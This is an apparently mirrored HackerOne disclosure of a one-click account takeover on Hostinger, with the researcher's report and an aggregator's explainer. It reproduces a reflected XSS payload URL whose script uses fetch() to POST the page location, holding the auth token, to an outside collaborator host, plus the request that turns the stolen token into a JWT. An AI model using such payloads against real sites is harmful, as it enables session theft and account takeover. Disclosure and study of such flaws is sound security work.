Skip to content
XSS Disclosed report Intermediate

1 Click Account Takeover via Auth Token Theft on marketing.hostinger.com

A whitelisted redirect domain on Hostinger's login page allowed an attacker to inject a script that stole the victim's authentication token. The attacker could then use that token to generate a valid JWT and take over the victim's account.

aziz0x48 Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Triaged in 14 hours
  • Fixed in 8 days
  • Paid in 8 days
  • Disclosed after 60 days

Summary:

Hey Paul, hope you're doing good !

I discovered a One Click Account Takeover vulnerability in Hostinger through the marketing.hostinger.com subdomain. Since this subdomain is part of hostinger.com and is whitelisted for redirects, an attacker can exploit it to steal Hostinger users’ auth tokens and gain full access to their accounts with just a single click from the victims !

Steps To Reproduce:

  • Login in to the victim's account and visit the URL below, replace the attacker-url with your own burp collaborator url or your own dedicated server url:

https://auth.hostinger.com/login/?redirectUrl=https%3A%2F%2Fmarketing.hostinger.com%2Fen-us%2Fmarketplace_wix%2Fsite_not_published%3Fredirect_url%3Dx%22%3E%3C%2Fa%3E%3Cscript%3Efetch%28%27https%3A%2F%2Fwqqf8xerhgrhdk251cesqastbkhb54xsm.oastify.com%27%2C%20%7Bmethod%3A%20%27POST%27%2Cbody%3A%20window.location%7D%29%3C%2Fscript%3E

## Decoded URL:

https://auth.hostinger.com/login/?redirectUrl=https://marketing.hostinger.com/en-us/marketplace_wix/site_not_published?redirect_url=x"></a><script>fetch('wqqf8xerhgrhdk251cesqastbkhb54xsm.oastify.com',%20{method:%20'POST',body:%20window.location});</script>

  • Check burp collaborator / server logs for the victim's account auth token :
image.png
image.png From the original on HackerOne
  • The attacker can use the leaked auth token to generate a valid JWT for the victim's account and have complete control over the victim's account using the following request:
POST /hpanel/auth/auth-token HTTP/2
Host: builder-backend.hostinger.com
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/132.0
Origin: https://builder.hostinger.com
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Te: trailers
image.png
image.png From the original on HackerOne

██████

Suggestion:

I believe that marketing.hostinger.com has been rebranded as rankingcoach.com. Therefore, it would be best to either shut down the marketing subdomain or remove it from the whitelisted domains. This would be a quick and easy fix to mitigate the issue and enhance users security.

Thank you, @aziz0x48

Supporting Material/References:

Please refer to the attached screenshots and video.

Impact

This vulnerability poses a significant risk to Hostinger users, as it allows attackers to bypass authentication and gain unauthorized access to accounts with just one click. By exploiting the marketing.hostinger.com subdomain, which is whitelisted for redirects, attackers can steal authentication tokens from users. Once the tokens are compromised, the attacker gains full access to the victim’s Hostinger account, including critical services such as hPanel, website builder, VPS servers, email, and personal data. This flaw puts all Hostinger users at risk of account takeover, data theft, and potential misuse of sensitive information, making it a serious security concern that requires immediate attention.

The original report as published on HackerOne, by aziz0x48. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the login page's redirect parameter accepted a whitelisted domain that reflected unsanitised input, allowing script injection.

Impact

An attacker could steal a user's authentication token and gain full access to their Hostinger account, including hPanel, website builder, VPS servers, email, and personal data.

What the attacker needed

Victim is logged in; victim clicks a crafted link; attacker controls a server to receive data

The fix

The marketing subdomain should be shut down or removed from the whitelisted redirect domains.

How it was found

  1. Log in to the victim's account and visit the crafted login URL with a redirect to the whitelisted marketing subdomain containing a script payload.
  2. Check the attacker's server logs for the victim's authentication token sent by the script.
  3. Use the leaked token to generate a valid JWT for the victim's account via a specific API request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you log in to a website, it often gives your browser a secret token so you stay logged in. This report shows that a link on the login page could be tricked into running harmful code that sends that secret token to the attacker. With the token, the attacker can pretend to be you and control your account.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by aziz0x48

View all

1 more disclosed report, best first.

More from hostinger

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.